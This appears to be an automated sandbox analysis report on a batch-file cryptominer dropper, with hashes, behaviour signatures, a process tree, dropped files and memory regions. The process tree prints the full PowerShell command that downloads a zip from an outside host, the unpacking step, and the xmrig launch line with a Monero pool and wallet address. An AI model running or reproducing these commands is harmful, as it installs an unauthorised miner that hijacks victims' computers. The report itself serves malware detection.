Analysis

  • max time kernel
    1795s
  • max time network
    1803s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20230703-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20230703-enlocale:en-usos:windows10-2004-x64system
  • submitted
    04/07/2023, 14:04

General

  • Target

    tesy1.bat

  • Size

    700B

  • MD5

    185a2d7bf8c479e47ed8e1ef2cffe6a3

  • SHA1

    810436c92e9eb0c3ef0f6867e938b314f85f43c0

  • SHA256

    e5aaa6de5373b002a54ae2cce47c384f11a80e66b03531b98e8eff1a8dd79581

  • SHA512

    9f1fad5e2a66d6e3d8645ce6c4614fe65ccd169dfa7f78fa3ada228bd543fa7c3dadc384d839d063b66887207897226c57dc62bfb8458ba65614f153791c44bd

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://cdn.nest.rip/uploads/126d1e0b-e170-4964-b710-93ec152ec8c9.zip

Signatures

  • XMRig Miner payload 64 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Blocklisted process makes network request 1 IoCs
  • Executes dropped EXE 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious behavior: LoadsDriver 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\tesy1.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:4220
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "(New-Object System.Net.WebClient).DownloadFile('https://cdn.nest.rip/uploads/126d1e0b-e170-4964-b710-93ec152ec8c9.zip', 'test.zip')"
      2⤵
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2240
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "Expand-Archive -Path 'test.zip' -DestinationPath '.'"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4360
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /K start.cmd
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2264
      • C:\Users\Admin\AppData\Local\Temp\xmrig-6.20.0\xmrig.exe
        xmrig.exe --coin=XMR -o xmr.2miners.com:2222 -u 4AifziM6zLv4yV4tpjL9S7joqqMjRkCNQakDCxupKLiiVRmPg8pd2aVRPNo5tVZ2BhSdhadzda7V8EuHuWY3xpq2SCZ28HY.alt -p x
        3⤵
        • Executes dropped EXE
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of FindShellTrayWindow
        PID:3664

Network

MITRE ATT&CK Matrix

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    1KB

    MD5

    8f954c86495f1256b9f20046a0b487d3

    SHA1

    b40ac4b22b07611c5c34efedca97fc5a8319e9b7

    SHA256

    94cf031ea1a632617548db0089091413f4cbb71ce2048e0aab92f6866ab8306b

    SHA512

    f67333df900d13eef6e01ca6fd2e52efe20a5c85ee6ce43d67f55ef913049149df696e045f45dc614d564afa4b457b365b915dd720b9da369b089ac9cb9b6cea

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_k2oj0hay.5lk.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • C:\Users\Admin\AppData\Local\Temp\test.zip

    Filesize

    3.2MB

    MD5

    bf4229c027030eeea0db49d10248181d

    SHA1

    4d8291b1dd4d3ef3279cc4189d2ddfc88c1e3dad

    SHA256

    25fb70772bc5772ceefac7ebd9dbc684f4235c98f8d357f9001736adbfc6b5ba

    SHA512

    204c60a8f428c7ac3d07f90e678dae91410c5e9d919820748b45b62526146b03386b3c026da208fc8136df6cb19c61e0d1537f2bfee3032836a41165018acd4c

  • C:\Users\Admin\AppData\Local\Temp\xmrig-6.20.0\start.cmd

    Filesize

    187B

    MD5

    afb477de9747aa1571a5525e94bf2a4f

    SHA1

    82ac5daaeacd7b0814725c7f01f5464b24e2e000

    SHA256

    43e47a94bf314751868298f703f4f8641764918e683e37ee6fc8110f4dd61c0b

    SHA512

    7240cd0fecf838210afb8c2e06672181e1002b134b2c44a69c80aa6ccd30f36911670fe234d95f9a508b83cc8bdaf3d8b28029a7d55b3b8a4e1afaa6dd2d1997

  • C:\Users\Admin\AppData\Local\Temp\xmrig-6.20.0\xmrig.exe

    Filesize

    7.9MB

    MD5

    4813fa6d610e180b097eae0ce636d2aa

    SHA1

    1e9cd17ea32af1337dd9a664431c809dd8a64d76

    SHA256

    9ef2e8714e85dcd116b709894b43babb4a0872225ae7363152013b7fd1bc95bc

    SHA512

    5463e61b9583dd7e73fc4c0f14252ce06bb1b24637fdf5c4b96b3452cf486b147c980e365ca6633d89e7cfe245131f528a7ecab2340251cef11cdeb49dac36aa

  • memory/2240-133-0x000002A430CD0000-0x000002A430CF2000-memory.dmp

    Filesize

    136KB

  • memory/2240-144-0x000002A418020000-0x000002A418030000-memory.dmp

    Filesize

    64KB

  • memory/2240-140-0x000002A418020000-0x000002A418030000-memory.dmp

    Filesize

    64KB

  • memory/3664-207-0x00007FF722190000-0x00007FF722C93000-memory.dmp

    Filesize

    11.0MB

  • memory/3664-221-0x00007FF722190000-0x00007FF722C93000-memory.dmp

    Filesize

    11.0MB

  • memory/3664-177-0x00000176F4890000-0x00000176F48B0000-memory.dmp

    Filesize

    128KB

  • memory/3664-178-0x00000176F48F0000-0x00000176F4930000-memory.dmp

    Filesize

    256KB

  • memory/3664-179-0x00007FF722190000-0x00007FF722C93000-memory.dmp

    Filesize

    11.0MB

  • memory/3664-180-0x00000176F4BD0000-0x00000176F4BF0000-memory.dmp

    Filesize

    128KB

  • memory/3664-181-0x00000176F4BF0000-0x00000176F4C10000-memory.dmp

    Filesize

    128KB

  • memory/3664-182-0x00007FF722190000-0x00007FF722C93000-memory.dmp

    Filesize

    11.0MB

  • memory/3664-183-0x00000176F4BD0000-0x00000176F4BF0000-memory.dmp

    Filesize

    128KB

  • memory/3664-184-0x00000176F4BF0000-0x00000176F4C10000-memory.dmp

    Filesize

    128KB

  • memory/3664-211-0x00007FF722190000-0x00007FF722C93000-memory.dmp

    Filesize

    11.0MB

  • memory/3664-186-0x00007FF722190000-0x00007FF722C93000-memory.dmp

    Filesize

    11.0MB

  • memory/3664-187-0x00007FF722190000-0x00007FF722C93000-memory.dmp

    Filesize

    11.0MB

  • memory/3664-188-0x00007FF722190000-0x00007FF722C93000-memory.dmp

    Filesize

    11.0MB

  • memory/3664-189-0x00007FF722190000-0x00007FF722C93000-memory.dmp

    Filesize

    11.0MB

  • memory/3664-190-0x00007FF722190000-0x00007FF722C93000-memory.dmp

    Filesize

    11.0MB

  • memory/3664-191-0x00007FF722190000-0x00007FF722C93000-memory.dmp

    Filesize

    11.0MB

  • memory/3664-192-0x00007FF722190000-0x00007FF722C93000-memory.dmp

    Filesize

    11.0MB

  • memory/3664-193-0x00007FF722190000-0x00007FF722C93000-memory.dmp

    Filesize

    11.0MB

  • memory/3664-194-0x00007FF722190000-0x00007FF722C93000-memory.dmp

    Filesize

    11.0MB

  • memory/3664-195-0x00007FF722190000-0x00007FF722C93000-memory.dmp

    Filesize

    11.0MB

  • memory/3664-196-0x00007FF722190000-0x00007FF722C93000-memory.dmp

    Filesize

    11.0MB

  • memory/3664-197-0x00007FF722190000-0x00007FF722C93000-memory.dmp

    Filesize

    11.0MB

  • memory/3664-198-0x00007FF722190000-0x00007FF722C93000-memory.dmp

    Filesize

    11.0MB

  • memory/3664-199-0x00007FF722190000-0x00007FF722C93000-memory.dmp

    Filesize

    11.0MB

  • memory/3664-200-0x00007FF722190000-0x00007FF722C93000-memory.dmp

    Filesize

    11.0MB

  • memory/3664-201-0x00007FF722190000-0x00007FF722C93000-memory.dmp

    Filesize

    11.0MB

  • memory/3664-202-0x00007FF722190000-0x00007FF722C93000-memory.dmp

    Filesize

    11.0MB

  • memory/3664-203-0x00007FF722190000-0x00007FF722C93000-memory.dmp

    Filesize

    11.0MB

  • memory/3664-204-0x00007FF722190000-0x00007FF722C93000-memory.dmp

    Filesize

    11.0MB

  • memory/3664-205-0x00007FF722190000-0x00007FF722C93000-memory.dmp

    Filesize

    11.0MB

  • memory/3664-206-0x00007FF722190000-0x00007FF722C93000-memory.dmp

    Filesize

    11.0MB

  • memory/3664-245-0x00007FF722190000-0x00007FF722C93000-memory.dmp

    Filesize

    11.0MB

  • memory/3664-208-0x00007FF722190000-0x00007FF722C93000-memory.dmp

    Filesize

    11.0MB

  • memory/3664-213-0x00007FF722190000-0x00007FF722C93000-memory.dmp

    Filesize

    11.0MB

  • memory/3664-210-0x00007FF722190000-0x00007FF722C93000-memory.dmp

    Filesize

    11.0MB

  • memory/3664-185-0x00007FF722190000-0x00007FF722C93000-memory.dmp

    Filesize

    11.0MB

  • memory/3664-244-0x00007FF722190000-0x00007FF722C93000-memory.dmp

    Filesize

    11.0MB

  • memory/3664-209-0x00007FF722190000-0x00007FF722C93000-memory.dmp

    Filesize

    11.0MB

  • memory/3664-214-0x00007FF722190000-0x00007FF722C93000-memory.dmp

    Filesize

    11.0MB

  • memory/3664-215-0x00007FF722190000-0x00007FF722C93000-memory.dmp

    Filesize

    11.0MB

  • memory/3664-216-0x00007FF722190000-0x00007FF722C93000-memory.dmp

    Filesize

    11.0MB

  • memory/3664-217-0x00007FF722190000-0x00007FF722C93000-memory.dmp

    Filesize

    11.0MB

  • memory/3664-218-0x00007FF722190000-0x00007FF722C93000-memory.dmp

    Filesize

    11.0MB

  • memory/3664-219-0x00007FF722190000-0x00007FF722C93000-memory.dmp

    Filesize

    11.0MB

  • memory/3664-220-0x00007FF722190000-0x00007FF722C93000-memory.dmp

    Filesize

    11.0MB

  • memory/3664-212-0x00007FF722190000-0x00007FF722C93000-memory.dmp

    Filesize

    11.0MB

  • memory/3664-222-0x00007FF722190000-0x00007FF722C93000-memory.dmp

    Filesize

    11.0MB

  • memory/3664-223-0x00007FF722190000-0x00007FF722C93000-memory.dmp

    Filesize

    11.0MB

  • memory/3664-224-0x00007FF722190000-0x00007FF722C93000-memory.dmp

    Filesize

    11.0MB

  • memory/3664-225-0x00007FF722190000-0x00007FF722C93000-memory.dmp

    Filesize

    11.0MB

  • memory/3664-226-0x00007FF722190000-0x00007FF722C93000-memory.dmp

    Filesize

    11.0MB

  • memory/3664-227-0x00007FF722190000-0x00007FF722C93000-memory.dmp

    Filesize

    11.0MB

  • memory/3664-228-0x00007FF722190000-0x00007FF722C93000-memory.dmp

    Filesize

    11.0MB

  • memory/3664-229-0x00007FF722190000-0x00007FF722C93000-memory.dmp

    Filesize

    11.0MB

  • memory/3664-230-0x00007FF722190000-0x00007FF722C93000-memory.dmp

    Filesize

    11.0MB

  • memory/3664-231-0x00007FF722190000-0x00007FF722C93000-memory.dmp

    Filesize

    11.0MB

  • memory/3664-232-0x00007FF722190000-0x00007FF722C93000-memory.dmp

    Filesize

    11.0MB

  • memory/3664-233-0x00007FF722190000-0x00007FF722C93000-memory.dmp

    Filesize

    11.0MB

  • memory/3664-234-0x00007FF722190000-0x00007FF722C93000-memory.dmp

    Filesize

    11.0MB

  • memory/3664-235-0x00007FF722190000-0x00007FF722C93000-memory.dmp

    Filesize

    11.0MB

  • memory/3664-236-0x00007FF722190000-0x00007FF722C93000-memory.dmp

    Filesize

    11.0MB

  • memory/3664-237-0x00007FF722190000-0x00007FF722C93000-memory.dmp

    Filesize

    11.0MB

  • memory/3664-238-0x00007FF722190000-0x00007FF722C93000-memory.dmp

    Filesize

    11.0MB

  • memory/3664-239-0x00007FF722190000-0x00007FF722C93000-memory.dmp

    Filesize

    11.0MB

  • memory/3664-240-0x00007FF722190000-0x00007FF722C93000-memory.dmp

    Filesize

    11.0MB

  • memory/3664-241-0x00007FF722190000-0x00007FF722C93000-memory.dmp

    Filesize

    11.0MB

  • memory/3664-242-0x00007FF722190000-0x00007FF722C93000-memory.dmp

    Filesize

    11.0MB

  • memory/3664-243-0x00007FF722190000-0x00007FF722C93000-memory.dmp

    Filesize

    11.0MB

  • memory/4360-158-0x000001CBBA3C0000-0x000001CBBA3D0000-memory.dmp

    Filesize

    64KB

  • memory/4360-157-0x000001CBBA3C0000-0x000001CBBA3D0000-memory.dmp

    Filesize

    64KB

  • memory/4360-159-0x000001CBBA3C0000-0x000001CBBA3D0000-memory.dmp

    Filesize

    64KB

  • memory/4360-160-0x000001CBBB140000-0x000001CBBB152000-memory.dmp

    Filesize

    72KB

  • memory/4360-161-0x000001CBBB120000-0x000001CBBB12A000-memory.dmp

    Filesize

    40KB